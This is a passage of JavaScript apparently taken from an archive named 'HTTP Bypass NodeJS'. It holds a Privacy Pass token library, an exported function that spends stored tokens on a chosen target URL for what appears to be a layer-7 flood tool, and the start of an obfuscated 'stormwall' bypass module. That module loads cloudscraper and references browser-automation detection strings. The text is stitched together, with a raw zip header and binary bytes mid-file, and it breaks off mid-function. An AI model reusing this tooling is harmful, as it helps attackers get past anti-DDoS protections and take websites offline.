if (typeof module !== 'undefined' && module.exports) {
    module.exports = sjcl;
}
if (typeof define === "function") {
    define([], function () {
        return sjcl;
    });
}


/**
 * This implements a 2HashDH-based token scheme using the SJCL ecc package.
 *
 * @author: George Tankersley
 * @author: Alex Davidson
 */

/* global sjcl */
/* exported sec1Encode */
/* exported sec1EncodeToBase64 */
/* exported sec1DecodeFromBase64 */
/* exported sec1DecodeFromBytes */
/* exported newRandomPoint */
/* exported blindPoint, unblindPoint */
/* exported verifyProof */
/* exported initECSettings */
/* exported getCurvePoints */
/* exported getBigNumFromBytes */
/* exported getActiveECSettings */
/* exported verifyCommitments */
/* exported shake256 */
"use strict";

let PEM;
let ASN1;
if (typeof window !== "undefined") {
    PEM = window.PEM;
    ASN1 = window.ASN1;
}

let shake256 = () => {
    return createShake256();
};

const BATCH_PROOF_PREFIX = "batch-proof=";
const MASK = ["0xff", "0x1", "0x3", "0x7", "0xf", "0x1f", "0x3f", "0x7f"];

const DIGEST_INEQUALITY_ERR = "[privacy-pass]: Recomputed digest does not equal received digest";
const PARSE_ERR = "[privacy-pass]: Error parsing proof";

// Globals for keeping track of EC curve settings
let CURVE;
let CURVE_H2C_HASH;
let CURVE_H2C_METHOD;
let CURVE_H2C_LABEL;

// 1.2.840.10045.3.1.7 point generation seed
const INC_H2C_LABEL = sjcl.codec.hex.toBits("312e322e3834302e31303034352e332e312e3720706f696e742067656e65726174696f6e2073656564");
const SSWU_H2C_LABEL = "H2C-P256-SHA256-SSWU-";

/**
 * Sets the curve parameters for the current session based on the contents of
 * activeConfig.h2c-params
 * @param {JSON} h2cParams
 */
function initECSettings(h2cParams) {
    const curveStr = h2cParams.curve;
    const hashStr = h2cParams.hash;
    const methodStr = h2cParams.method;
    switch (curveStr) {
        case "p256":
            if (methodStr != "swu" && methodStr != "increment") {
                throw new Error("[privacy-pass]: Incompatible h2c method: '" + methodStr + "', for curve " + curveStr);
            } else if (hashStr != "sha256") {
                throw new Error("[privacy-pass]: Incompatible h2c hash: '" + hashStr + "', for curve " + curveStr);
            }
            CURVE = sjcl.ecc.curves.c256;
            CURVE_H2C_HASH = sjcl.hash.sha256;
            CURVE_H2C_METHOD = methodStr;
            CURVE_H2C_LABEL = methodStr === "increment" ? INC_H2C_LABEL : SSWU_H2C_LABEL;
            break;
        default:
            throw new Error("[privacy-pass]: Incompatible curve chosen: " + curveStr);
    }
}

let h2cParams = { // parameters for establishing which hash-to-curve setting the client wants to use
    "curve": "p256", // elliptic curve that generated tokens should be mapped to
    "hash": "sha256", // hash function for mapping bytes to base-field of elliptic curve
    "method": "increment", // specifies which hash-to-curve method we should use; "increment" = hash-and-increment (the original but deprecated method); "swu" = optimised affine SWU algorithm (new method)
};

initECSettings(h2cParams);
/**
 * Returns the active configuration for the elliptic curve setting
 * @return {Object} Object containing the active curve and h2c configuration
 */
function getActiveECSettings() {
    return {
        curve: CURVE,
        hash: CURVE_H2C_HASH,
        method: CURVE_H2C_METHOD,
        label: CURVE_H2C_LABEL
    };
}

/**
 * Multiplies the point P with the scalar k and outputs kP
 * @param {sjcl.bn} k scalar
 * @param {sjcl.ecc.point} P curve point
 * @return {sjcl.ecc.point}
 */
function _scalarMult(k, P) {
    const Q = P.mult(k);
    return Q;
}

/**
 * Samples a random scalar and uses it to blind the point P
 * @param {sjcl.ecc.point} P curve point
 * @return {sjcl.ecc.point}
 */
function blindPoint(P) {
    const bF = sjcl.bn.random(CURVE.r, 10);
    const bP = _scalarMult(bF, P);
    return {
        point: bP,
        blind: bF
    };
}

/**
 * unblindPoint takes an assumed-to-be blinded point Q and an accompanying
 * blinding scalar b, then returns the point (1/b)*Q.
 * @param {sjcl.bn} b scalar blinding factor
 * @param {sjcl.ecc.point} Q curve point
 * @return {sjcl.ecc.point}
 */
function unblindPoint(b, Q) {
    const binv = b.inverseMod(CURVE.r);
    return _scalarMult(binv, Q);
}

/**
 * Creates a new random point on the curve by sampling random bytes and then
 * hashing to the chosen curve.
 * @return {sjcl.ecc.point}
 */
function newRandomPoint() {
    const byteLength = 32;
    const wordLength = byteLength / 4; // SJCL 4 bytes to a word
    const random = sjcl.random.randomWords(wordLength, 10); // TODO Use webcrypto instead.

    // Choose hash-to-curve method
    const point = h2Curve(random, getActiveECSettings());

    let t;
    if (point) {
        t = {
            data: sjcl.codec.bytes.fromBits(random),
            point: point
        };
    }
    return t;
}

/**
 * Encodes a curve point as bytes in SEC1 uncompressed format
 * @param {sjcl.ecc.point} P
 * @param {bool} compressed
 * @return {sjcl.codec.bytes}
 */
function sec1Encode(P, compressed) {
    let out = [];
    if (!compressed) {
        const xyBytes = sjcl.codec.bytes.fromBits(P.toBits());
        out = [0x04].concat(xyBytes);
    } else {
        const xBytes = sjcl.codec.bytes.fromBits(P.x.toBits());
        const y = P.y.normalize();
        const sign = y.limbs[0] & 1 ? 0x03 : 0x02;
        out = [sign].concat(xBytes);
    }
    return out;
}

/**
 * Encodes a curve point into bits for using as input to hash functions etc
 * @param {sjcl.ecc.point} point curve point
 * @param {bool} compressed flag indicating whether points have been compressed
 * @return {sjcl.bitArray}
 */
function sec1EncodeToBits(point, compressed) {
    return sjcl.codec.bytes.toBits(sec1Encode(point, compressed));
}

/**
 * Encodes a point into a base 64 string
 * @param {sjcl.ecc.point} point
 * @param {bool} compressed
 * @return {string}
 */
function sec1EncodeToBase64(point, compressed) {
    return sjcl.codec.base64.fromBits(sec1EncodeToBits(point, compressed));
}

/**
 * Decodes a base64-encoded string into a curve point
 * @param {string} p a base64-encoded, uncompressed curve point
 * @return {sjcl.ecc.point}
 */
function sec1DecodeFromBase64(p) {
    const sec1Bits = sjcl.codec.base64.toBits(p);
    const sec1Bytes = sjcl.codec.bytes.fromBits(sec1Bits);
    return sec1DecodeFromBytes(sec1Bytes);
}

/**
 * Decodes (SEC1) curve point bytes into a valid curve point
 * @param {sjcl.codec.bytes} sec1Bytes bytes of an uncompressed curve point
 * @return {sjcl.ecc.point}
 */
function sec1DecodeFromBytes(sec1Bytes) {
    let P;
    switch (sec1Bytes[0]) {
        case 0x02:
        case 0x03:
            P = decompressPoint(sec1Bytes);
            break;
        case 0x04:
            P = CURVE.fromBits(sjcl.codec.bytes.toBits(sec1Bytes.slice(1)));
            break;
        default:
            throw new Error("[privacy-pass]: attempted sec1 point decoding with incorrect tag: " + sec1Bytes[0]);
    }
    return P;
}

/**
 * Attempts to decompress a curve point in SEC1 encoded format. Returns null if
 * the point is invalid
 * @param {sjcl.codec.bytes} bytes bytes of a compressed curve point (SEC1)
 * @return {sjcl.ecc.point} may be null if compressed bytes are not valid
 */
function decompressPoint(bytes) {
    const yTag = bytes[0];
    const expLength = CURVE.r.bitLength() / 8 + 1; // bitLength rounds up
    if (yTag != 2 && yTag != 3) {
        throw new Error("[privacy-pass]: compressed point is invalid, bytes[0] = " + yTag);
    } else if (bytes.length !== expLength) {
        throw new Error(`[privacy-pass]: compressed point is too long, actual = ${bytes.length}, expected = ${expLength}`);
    }
    const xBytes = bytes.slice(1);
    const x = CURVE.field.fromBits(sjcl.codec.bytes.toBits(xBytes)).normalize();
    const sign = yTag & 1;

    // y^2 = x^3 - 3x + b (mod p)
    let rh = x.power(3);
    const threeTimesX = x.mul(CURVE.a);
    rh = rh.add(threeTimesX).add(CURVE.b).mod(CURVE.field.modulus); // mod() normalizes

    // modsqrt(z) for p = 3 mod 4 is z^(p+1/4)
    const sqrt = CURVE.field.modulus.add(1).normalize().halveM().halveM();
    let y = new CURVE.field(rh.powermod(sqrt, CURVE.field.modulus));

    const parity = y.limbs[0] & 1;
    if (parity != sign) {
        y = CURVE.field.modulus.sub(y).normalize();
    }

    const point = new sjcl.ecc.point(CURVE, x, y);
    if (!point.isValid()) {
        // we return null here rather than an error as we iterate over this
        // method during hash-and-inc
        return null;
    }
    return point;
}

/**
 * Decodes the received curve points
 * @param {Array<string>} signatures An array of base64-encoded signed points
 * @return {Object} object containing array of curve points and compression flag
 */
function getCurvePoints(signatures) {
    const compression = {
        on: false,
        set: false
    };
    const sigBytes = [];
    signatures.forEach(function (signature) {
        const buf = sjcl.codec.bytes.fromBits(sjcl.codec.base64.toBits(signature));
        let setting = false;
        switch (buf[0]) {
            case 2:
            case 3:
                setting = true;
                break;
            case 4:
                // do nothing
                break;
            default:
                throw new Error(`[privacy-pass]: point, ${buf}, is not encoded correctly`);
        }
        if (!validResponseCompression(compression, setting)) {
            throw new Error("[privacy-pass]: inconsistent point compression in server response");
        }
        sigBytes.push(buf);
    });

    const usablePoints = [];
    sigBytes.forEach(function (buf) {
        const usablePoint = sec1DecodeFromBytes(buf);
        if (usablePoint == null) {
            throw new Error("[privacy-pass]: unable to decode point: " + buf);
        }
        usablePoints.push(usablePoint);
    });
    return {
        points: usablePoints,
        compressed: compression.on
    };
}

/**
 * Checks that the signed points from the IssueResponse have consistent
 * compression
 * @param {Object} compression compression object to be checked for consistency
 * @param {bool} setting new setting based on point data
 * @return {bool}
 */
function validResponseCompression(compression, setting) {
    if (!compression.set) {
        compression.on = setting;
        compression.set = true;
    } else if (compression.on !== setting) {
        return false;
    }
    return true;
}

// Commitments verification

/**
 * Parse a PEM-encoded signature.
 * @param {string} pemSignature - A signature in PEM format.
 * @return {sjcl.bitArray} a signature object for sjcl library.
 */
function parseSignaturefromPEM(pemSignature) {
    try {
        const bytes = PEM.parseBlock(pemSignature);
        const json = ASN1.parse(bytes.der);
        const r = sjcl.codec.bytes.toBits(json.children[0].value);
        const s = sjcl.codec.bytes.toBits(json.children[1].value);
        return sjcl.bitArray.concat(r, s);
    } catch (e) {
        throw new Error(
            "[privacy-pass]: Failed on parsing commitment signature. " + e.message
        );
    }
}

/**
 * Parse a PEM-encoded publick key.
 * @param {string} pemPublicKey - A public key in PEM format.
 * @return {sjcl.ecc.ecdsa.publicKey} a public key for sjcl library.
 */
function parsePublicKeyfromPEM(pemPublicKey) {
    try {
        let bytes = PEM.parseBlock(pemPublicKey);
        let json = ASN1.parse(bytes.der);
        let xy = json.children[1].value;
        const point = sec1DecodeFromBytes(xy);
        return new sjcl.ecc.ecdsa.publicKey(CURVE, point);
    } catch (e) {
        throw new Error(
            "[privacy-pass]: Failed on parsing public key. " + e.message
        );
    }
}

/**
 * Verify the signature of commitments.
 * @param {json} comms - commitments to verify
 * @param {string} pemPublicKey - A public key in PEM format.
 * @return {boolean} True, if the commitment has valid signature and is not
 *                   expired; otherwise, throws an exception.
 */
function verifyCommitments(comms, pemPublicKey) {
    const sig = parseSignaturefromPEM(comms.sig);
    delete comms.sig;
    const msg = JSON.stringify(comms);
    const pk = parsePublicKeyfromPEM(pemPublicKey);
    const hmsg = sjcl.hash.sha256.hash(msg);
    comms.G = sec1EncodeToBase64(CURVE.G, false);
    try {
        return pk.verify(hmsg, sig);
    } catch (error) {
        throw new Error("[privacy-pass]: Invalid commitment.");
    }
}

/**
 * DLEQ proof verification logic
 */

/**
 * Verify the DLEQ proof object using the information provided
 * @param {string} proofObj base64-encoded batched DLEQ proof object
 * @param {Object} tokens array of token objects containing blinded curve points
 * @param {Array<sjcl.ecc.point>} signatures an array of signed points
 * @param {Object} commitments JSON object containing encoded curve points
 * @param {string} prngName name of the PRNG used for verifying proof
 * @return {boolean}
 */
function verifyProof(proofObj, tokens, signatures, commitments, prngName) {
    const bp = getMarshaledBatchProof(proofObj);
    const dleq = retrieveProof(bp);
    if (!dleq) {
        // Error has probably occurred
        return false;
    }
    if (tokens.length !== signatures.points.length) {
        return false;
    }
    const pointG = sec1DecodeFromBase64(commitments.G);
    const pointH = sec1DecodeFromBase64(commitments.H);

    // Recompute A and B for proof verification
    const cH = _scalarMult(dleq.C, pointH);
    const rG = _scalarMult(dleq.R, pointG);
    const A = cH.toJac().add(rG).toAffine();

    const composites = recomputeComposites(tokens, signatures, pointG, pointH, prngName);
    const cZ = _scalarMult(dleq.C, composites.Z);
    const rM = _scalarMult(dleq.R, composites.M);
    const B = cZ.toJac().add(rM).toAffine();

    // Recalculate C' and check if C =?= C'
    const h = new CURVE_H2C_HASH(); // use the h2c hash for convenience
    h.update(sec1EncodeToBits(pointG, signatures.compressed));
    h.update(sec1EncodeToBits(pointH, signatures.compressed));
    h.update(sec1EncodeToBits(composites.M, signatures.compressed));
    h.update(sec1EncodeToBits(composites.Z, signatures.compressed));
    h.update(sec1EncodeToBits(A, signatures.compressed));
    h.update(sec1EncodeToBits(B, signatures.compressed));
    const digestBits = h.finalize();
    const receivedDigestBits = dleq.C.toBits();
    if (!sjcl.bitArray.equal(digestBits, receivedDigestBits)) {
        console.error(DIGEST_INEQUALITY_ERR);
        console.error("Computed digest: " + digestBits.toString());
        console.error("Received digest: " + receivedDigestBits.toString());
        return false;
    }
    return true;
}

/**
 * Recompute the composite M and Z values for verifying DLEQ
 * @param {Array<Object>} tokens array of token objects containing blinded curve points
 * @param {Object} signatures contains array of signed curve points and compression flag
 * @param {sjcl.ecc.point} pointG curve point
 * @param {sjcl.ecc.point} pointH curve point
 * @param {string} prngName name of PRNG used to verify proof
 * @return {Object} Object containing composite points M and Z
 */
function recomputeComposites(tokens, signatures, pointG, pointH, prngName) {
    const seed = computeSeed(tokens, signatures, pointG, pointH);
    let cM = new sjcl.ecc.pointJac(CURVE); // can only add points in jacobian representation
    let cZ = new sjcl.ecc.pointJac(CURVE);
    const prng = {
        name: prngName
    };
    switch (prng.name) {
        case "shake":
            prng.func = shake256();
            prng.func.update(seed, "hex");
            break;
        case "hkdf":
            prng.func = evaluateHkdf;
            break;
        default:
            throw new Error(`Server specified PRNG is not compatible: ${prng.name}`);
    }
    let iter = -1;
    for (let i = 0; i < tokens.length; i++) {
        iter++;
        const ci = computePRNGScalar(prng, seed, (new sjcl.bn(iter)).toBits());
        // Moved this check out of computePRNGScalar to here
        if (ci.greaterEquals(CURVE.r)) {
            i--;
            continue;
        }
        const cMi = _scalarMult(ci, tokens[i].point);
        const cZi = _scalarMult(ci, signatures.points[i]);
        cM = cM.add(cMi);
        cZ = cZ.add(cZi);
    }
    return {
        M: cM.toAffine(),
        Z: cZ.toAffine()
    };
}

/**
 * Computes an output of a PRNG (using the seed if it is HKDF) as a sjcl bn
 * object
 * @param {Object} prng PRNG object for generating output
 * @param {string} seed hex-encoded seed
 * @param {sjcl.bitArray} salt optional salt for each PRNG eval
 * @return {sjcl.bn} PRNG output as scalar value
 */
function computePRNGScalar(prng, seed, salt) {
    const bitLen = CURVE.r.bitLength();
    const mask = MASK[bitLen % 8];
    let out;
    switch (prng.name) {
        case "shake":
            out = prng.func.squeeze(32, "hex");
            break;
        case "hkdf":
            out = sjcl.codec.hex.fromBits(prng.func(sjcl.codec.hex.toBits(seed), bitLen / 8, sjcl.codec.utf8String.toBits("DLEQ_PROOF"), salt, CURVE_H2C_HASH));
            break;
        default:
            throw new Error(`Server specified PRNG is not compatible: ${prng.name}`);
    }
    // Masking is not strictly necessary for p256 but better to be completely
    // compatible in case that the curve changes
    const h = parseInt(out.substr(0, 2), 16);
    const mh = sjcl.codec.hex.fromBits(sjcl.codec.bytes.toBits([h & mask]));
    out = mh + out.substr(2);
    const nOut = getBigNumFromHex(out);
    return nOut;
}

/**
 * Computes a seed for the PRNG for verifying batch DLEQ proofs
 * @param {Object} chkM array of token objects containing blinded curve points
 * @param {sjcl.ecc.point[]} chkZ array of signed curve points
 * @param {sjcl.ecc.point} pointG curve point
 * @param {sjcl.ecc.point} pointH curve point
 * @return {string} hex-encoded PRNG seed
 */
function computeSeed(chkM, chkZ, pointG, pointH) {
    const compressed = chkZ.compressed;
    const h = new CURVE_H2C_HASH(); // we use the h2c hash for convenience
    h.update(sec1EncodeToBits(pointG, compressed));
    h.update(sec1EncodeToBits(pointH, compressed));
    for (let i = 0; i < chkM.length; i++) {
        h.update(sec1EncodeToBits(chkM[i].point, compressed));
        h.update(sec1EncodeToBits(chkZ.points[i], compressed));
    }
    return sjcl.codec.hex.fromBits(h.finalize());
}

/**
 * hkdf - The HMAC-based Key Derivation Function
 * based on https://github.com/mozilla/node-hkdf
 *
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 *
 * @param {bitArray} ikm Initial keying material
 * @param {integer} length Length of the derived key in bytes
 * @param {bitArray} info Key derivation data
 * @param {bitArray} salt Salt
 * @param {sjcl.hash} hash hash function
 * @return {bitArray}
 */
function evaluateHkdf(ikm, length, info, salt, hash) {
    const mac = new sjcl.misc.hmac(salt, hash);
    mac.update(ikm);
    const prk = mac.digest();

    const hashLength = Math.ceil(sjcl.bitArray.bitLength(prk) / 8);
    const numBlocks = Math.ceil(length / hashLength);
    if (numBlocks > 255) {
        throw new Error(`[privacy-pass]: HKDF error, number of proposed iterations too large: ${numBlocks}`);
    }

    let prev = sjcl.codec.hex.toBits("");
    let output = "";
    for (let i = 0; i < numBlocks; i++) {
        const hmac = new sjcl.misc.hmac(prk, hash);
        const input = sjcl.bitArray.concat(
            sjcl.bitArray.concat(prev, info),
            sjcl.codec.utf8String.toBits((String.fromCharCode(i + 1)))
        );
        hmac.update(input);
        prev = hmac.digest();
        output += sjcl.codec.hex.fromBits(prev);
    }
    return sjcl.bitArray.clamp(sjcl.codec.hex.toBits(output), length * 8);
}

/**
 * Returns a decoded DLEQ proof as an object that can be verified
 * @param {Object} bp batch proof as encoded JSON
 * @return {Object} DLEQ proof object
 */
function retrieveProof(bp) {
    let dleqProof;
    try {
        dleqProof = parseDleqProof(atob(bp.P));
    } catch (e) {
        console.error(`${PARSE_ERR}: ${e}`);
        return;
    }
    return dleqProof;
}

/**
 * Decode proof string and remove prefix
 * @param {string} proof base64-encoded batched DLEQ proof
 * @return {Object} JSON batched DLEQ proof
 */
function getMarshaledBatchProof(proof) {
    let proofStr = atob(proof);
    if (proofStr.indexOf(BATCH_PROOF_PREFIX) === 0) {
        proofStr = proofStr.substring(BATCH_PROOF_PREFIX.length);
    }
    return JSON.parse(proofStr);
}

/**
 * Decode the proof that is sent into an Object
 * @param {string} proofStr proof JSON as string
 * @return {Object}
 */
function parseDleqProof(proofStr) {
    const dleqProofM = JSON.parse(proofStr);
    const dleqProof = {};
    dleqProof.R = getBigNumFromB64(dleqProofM.R);
    dleqProof.C = getBigNumFromB64(dleqProofM.C);
    return dleqProof;
}

/**
 * Return a bignum from a base64-encoded string
 * @param {string} b64Str
 * @return {sjcl.bn}
 */
function getBigNumFromB64(b64Str) {
    const bits = sjcl.codec.base64.toBits(b64Str);
    return sjcl.bn.fromBits(bits);
}

/**
 * Return a big number from an array of bytes
 * @param {sjcl.codec.bytes} bytes
 * @return {sjcl.bn}
 */
function getBigNumFromBytes(bytes) {
    const bits = sjcl.codec.bytes.toBits(bytes);
    return sjcl.bn.fromBits(bits);
}

/**
 * Return a big number from hex-encoded string
 * @param {string} hex hex-encoded string
 * @return {sjcl.bn}
 */
function getBigNumFromHex(hex) {
    return sjcl.bn.fromBits(sjcl.codec.hex.toBits(hex));
}

function loadToken(t) {
    const usablePoint = sec1DecodeFromBase64(t.point);
    const usableBlind = new sjcl.bn(t.blind);
    usableToken = {
        data: t.data,
        point: usablePoint,
        blind: usableBlind
    };
    return usableToken
}

function BuildRedeemHeader(token, host, path) {
    const sharedPoint = unblindPoint(token.blind, token.point);
    const derivedKey = deriveKey(sharedPoint, token.data);
    const hostBits = sjcl.codec.utf8String.toBits(host);
    const hostBytes = sjcl.codec.bytes.fromBits(hostBits);
    const pathBits = sjcl.codec.utf8String.toBits(path);
    const pathBytes = sjcl.codec.bytes.fromBits(pathBits);
    const binding = createRequestBinding(derivedKey, [hostBytes, pathBytes]);
    let contents = [];
    contents.push(sjcl.codec.base64.fromBits(sjcl.codec.bytes.toBits(token.data)));
    contents.push(binding);
    /*const h2cString = JSON.stringify(h2cParams);
    const h2cBits = sjcl.codec.utf8String.toBits(h2cString);
    const h2cB64 = sjcl.codec.base64.fromBits(h2cBits);
    contents.push(h2cB64);*/
    contents.push('eyJjdXJ2ZSI6InAyNTYiLCJoYXNoIjoic2hhMjU2IiwibWV0aG9kIjoiaW5jcmVtZW50In0=');
    return Buffer.from(JSON.stringify({
        type: "Redeem",
        contents: contents
    })).toString('base64');
}


/**
 * Creates the binding to a particular HTTP request by evaluating a HMAC keyed
 * by key material derived from signed token data and evaluated over
 * request-specific data (host and http path)
 *
 * @param {sjcl.codec.bytes} key Derived HMAC key
 * @param {sjcl.codec.bytes} data Input HMAC data
 * @return {string} base64-encoded HMAC output
 */
function createRequestBinding(key, data) {
    // the exact bits of the string "hash_request_binding"
    const tagBits = sjcl.codec.utf8String.toBits("hash_request_binding");
    const keyBits = sjcl.codec.bytes.toBits(key);
    const hash = getActiveECSettings().hash;

    const h = new sjcl.misc.hmac(keyBits, hash);
    h.update(tagBits);

    let dataBits = null;
    for (let i = 0; i < data.length; i++) {
        dataBits = sjcl.codec.bytes.toBits(data[i]);
        h.update(dataBits);
    }

    return sjcl.codec.base64.fromBits(h.digest());
}

/**
 * Derives the shared key used for redemption MACs
 * @param {sjcl.ecc.point} N Signed curve point associated with token
 * @param {Object} token client-generated token data
 * @return {sjcl.codec.bytes} bytes of derived key
 */
function deriveKey(N, token) {
    // the exact bits of the string "hash_derive_key"
    const tagBits = sjcl.codec.hex.toBits("686173685f6465726976655f6b6579");
    const hash = getActiveECSettings().hash;
    const h = new sjcl.misc.hmac(tagBits, hash);

    // Always compute derived key using uncompressed point bytes
    const encodedPoint = sec1Encode(N, false);
    const tokenBits = sjcl.codec.bytes.toBits(token);
    const pointBits = sjcl.codec.bytes.toBits(encodedPoint);

    h.update(tokenBits);
    h.update(pointBits);

    const keyBytes = sjcl.codec.bytes.fromBits(h.digest());
    return keyBytes;
}
/**
 * Implements the methods of hashing to elliptic curves
 * that are described in draft-irtf-cfrg-hash-to-curve
 * @author Alex Davidson
 * Note: The SWU algorithm is constant-time except for the conditional checks in
 * the final two lines. The implementation follows a regular execution pattern.
 */

/* global sjcl */
/* exported h2Curve */

const p256Curve = sjcl.ecc.curves.c256;
const precomputedP256 = {
    // a=-3, but must be reduced mod p for P256; otherwise,
    // inverseMod function loops forever.
    A: p256Curve.a.fullReduce(),
    B: p256Curve.b,
    baseField: p256Curve.field,
    c1: p256Curve.b.mul(-1).mul(p256Curve.a.inverseMod(p256Curve.field.modulus)),
    c2: p256Curve.field.modulus.sub(1).cnormalize().halveM(),
    sqrt: p256Curve.field.modulus.add(1).cnormalize().halveM().halveM(),
};

/**
 * Converts the number x into a byte array of length n
 * @param {Number} x
 * @param {Number} n
 * @return {sjcl.codec.bytes}
 */
function i2osp(x, n) {
    const bytes = [];
    for (let i = n - 1; i > -1; i--) {
        bytes[i] = x & 0xff;
        x = x >> 8;
    }

    if (x > 0) {
        throw new Error(`[privacy-pass]: number to convert (${x}) is too long for ${n} bytes.`);
    }
    return bytes;
}

/**
 * hashes bits to the base field (as described in
 * draft-irtf-cfrg-hash-to-curve)
 * @param {sjcl.bitArray} x bits of element to be translated
 * @param {sjcl.ecc.curve} curve elliptic curve
 * @param {sjcl.hash} hash hash function object
 * @param {string} label context label for domain separation
 * @return {int} integer in the base field of curve
 */
function h2Base(x, curve, hash, label) {
    const dataLen = sjcl.codec.bytes.fromBits(x).length;
    const h = new hash();
    h.update("h2b");
    h.update(label);
    h.update(sjcl.codec.bytes.toBits(i2osp(dataLen, 4)));
    h.update(x);
    const t = h.finalize();
    const y = curve.field.fromBits(t).cnormalize();
    return y;
}

/**
 * hashes bits to the chosen elliptic curve
 * @param {sjcl.bitArray} alpha bits to be encoded onto curve
 * @param {Object} ecSettings the curve settings being used by the extension
 * @return {sjcl.ecc.point} point on curve
 */
function h2Curve(alpha, ecSettings) {
    let point;
    switch (ecSettings.method) {
        case "swu":
            point = simplifiedSWU(alpha, ecSettings.curve, ecSettings.hash, ecSettings.label);
            break;
        case "increment":
            point = hashAndInc(alpha, ecSettings.hash, ecSettings.label);
            break;
        default:
            throw new Error("[privacy-pass]: Incompatible curve chosen for hashing, SJCL chosen curve: " + sjcl.ecc.curveName(ecSettings.curve));
    }
    return point;
}

/**
 * hashes bits onto affine curve point using simplified SWU encoding algorithm
 * Not constant-time due to conditional check
 * @param {sjcl.bitArray} alpha bits to be encoded
 * @param {sjcl.ecc.curve} activeCurve elliptic curve
 * @param {sjcl.hash} hash hash function for hashing bytes to base field
 * @param {String} label
 * @return {sjcl.ecc.point} curve point
 */
function simplifiedSWU(alpha, activeCurve, hash, label) {
    const params = getCurveParams(activeCurve);
    const u = h2Base(alpha, activeCurve, hash, label);
    const {
        X,
        Y
    } = computeSWUCoordinates(u, params);
    const point = new sjcl.ecc.point(activeCurve, X, Y);
    if (!point.isValid()) {
        throw new Error(`[privacy-pass]: Generated point is not on curve, X: ${X}, Y: ${Y}`);
    }
    return point;
}

/**
 * Compute (X,Y) coordinates from integer u
 * Operations taken from draft-irtf-cfrg-hash-to-curve.txt at commit
 * cea8485220812a5d371deda25b5eca96bd7e6c0e
 * @param {sjcl.bn} u integer to map
 * @param {Object} params curve parameters
 * @return {Object} curve coordinates
 */
function computeSWUCoordinates(u, params) {
    const {
        A,
        B,
        baseField,
        c1,
        c2,
        sqrt
    } = params;
    const p = baseField.modulus;
    const t1 = u.square().mul(-1); // steps 2-3
    const t2 = t1.square(); // step 4
    let x1 = t2.add(t1); // step 5
    x1 = x1.inverse(); // step 6
    x1 = x1.add(1); // step 7
    x1 = x1.mul(c1); // step 8

    let gx1 = x1.square().mod(p); // steps 9-12
    gx1 = gx1.add(A);
    gx1 = gx1.mul(x1);
    gx1 = gx1.add(B);
    gx1 = gx1.mod(p);

    const x2 = t1.mul(x1); // step 13
    let gx2 = x2.square().mod(p); // step 14-17
    gx2 = gx2.add(A);
    gx2 = gx2.mul(x2);
    gx2 = gx2.add(B);
    gx2 = gx2.mod(p);

    const e = new baseField(gx1.montpowermod(c2, p)).equals(new sjcl.bn(1)); // step 18
    const X = cmov(x2, x1, e, baseField); // step 19
    const gx = cmov(gx2, gx1, e, baseField); // step 20
    let y1 = gx.montpowermod(sqrt, p); // step 21
    // choose the positive (the smallest) root
    const r = c2.greaterEquals(y1);
    let y2 = y1.mul(-1).mod(p);
    const Y = cmov(y2, y1, r, baseField);
    return {
        X: X,
        Y: Y
    };
}

/**
 * Return the parameters for the active curve
 * @param {sjcl.ecc.curve} curve elliptic curve
 * @return {p;A;B}
 */
function getCurveParams(curve) {
    let curveParams;
    switch (sjcl.ecc.curveName(curve)) {
        case "c256":
            curveParams = precomputedP256;
            break;
        default:
            throw new Error("[privacy-pass]: Incompatible curve chosen for H2C: " + sjcl.ecc.curveName(curve));
    }
    return curveParams;
}

/**
 * DEPRECATED: Method for hashing to curve based on the principal of attempting
 * to hash the bytes multiple times and recover a curve point. Has non-negligble
 * probailistic failure conditions.
 * @param {sjcl.bitArray} seed
 * @param {sjcl.hash} hash hash function for hashing bytes to base field
 * @param {sjcl.bitArray} label
 * @return {sjcl.ecc.point} returns a curve point on the active curve
 */
function hashAndInc(seed, hash, label) {
    const h = new hash();

    // Need to match the Go curve hash, so we decode the exact bytes of the
    // string "1.2.840.100045.3.1.7 point generation seed" instead of relying
    // on the utf8 codec that didn't match.
    const separator = label;

    h.update(separator);

    let i = 0;
    // Increased increments to decrease chance of failure
    for (i = 0; i < 20; i++) {
        // little endian uint32
        const ctr = new Uint8Array(4);
        // typecast hack: number -> Uint32, bitwise Uint8
        ctr[0] = (i >>> 0) & 0xFF;
        const ctrBits = sjcl.codec.bytes.toBits(ctr);

        // H(s||ctr)
        h.update(seed);
        h.update(ctrBits);

        const digestBits = h.finalize();
        const bytes = sjcl.codec.bytes.fromBits(digestBits);

        // attempt to decompress a point with a valid tag (don't need to try
        // 0x03 because this is just the negative version)
        // curve choice is implicit based on active curve parameters
        const point = sec1DecodeFromBytes([2].concat(bytes));
        if (point !== null) {
            return point;
        }

        seed = digestBits;
        h.reset();
    }

    throw new Error("Unable to construct point using hash and increment");
}

/**
 * Conditional move selects x or y depending on the bit input.
 * @param {sjcl.bn} x is a big number
 * @param {sjcl.bn} y is a big number
 * @param {boolean} b is a bit
 * @param {sjcl.bn} field is the prime field used.
 * @return {sjcl.bn} returns x is b=0, otherwise return y.
 */
function cmov(x, y, b, field) {
    let z = new field();
    const m = z.radixMask;
    const m0 = m & (m + b);
    const m1 = m & (m + (!b));
    x.fullReduce();
    y.fullReduce();
    for (let i = Math.max(x.limbs.length, y.limbs.length) - 1; i >= 0; i--) {
        z.limbs.unshift((x.getLimb(i) & m0) ^ (y.getLimb(i) & m1));
    }
    return z.mod(field.modulus);
}

module.exports = function (target) {
    if (l7.privacypass.length < 1) return console.warn('[privacy-pass]: Stored tokens are empty');
    let gg = ~~(Math.random() * l7.privacypass.length);
    let yeetToken = loadToken(l7.privacypass[gg]);
    let parse = url.parse(target),
        host = parse.host,
        path = "GET " + parse.path;
    l7.privacypass.splice(gg, 1);
    fs.writeFileSync('./privacypass.json', JSON.stringify(l7.privacypass));
    return BuildRedeemHeader(yeetToken, host, path);
}PK
J�O���xX#X#(HTTP Bypass NodeJS/bypasses/stormwall.jsmodule.exports = function Stormwall() {
    const request = require('cloudscraper'),
        document = {
            cookie: ''
        };

    global.window = {navigator: {}};

    var BYPASSIT = {};

    var _0xda3f = ['__phantom', 'Buffer', 'emit', 'spawn', 'domAutomation', 'webdriver', 'selenium', './adv', '0123456789qwertyuiopasdfghjklzxcvbnm:?!', 'toString', 'getElementById', 'className', 'error-frame', 'invisible', 'undefined', 'location', 'Cannot\x20find\x20module\x20\x27', 'MODULE_NOT_FOUND', 'exports', 'function', 'length', '_phantom'];
    (function (_0x502b53, _0x2696a0) {
        var _0xe3cb5a = function (_0x4f70f6) {
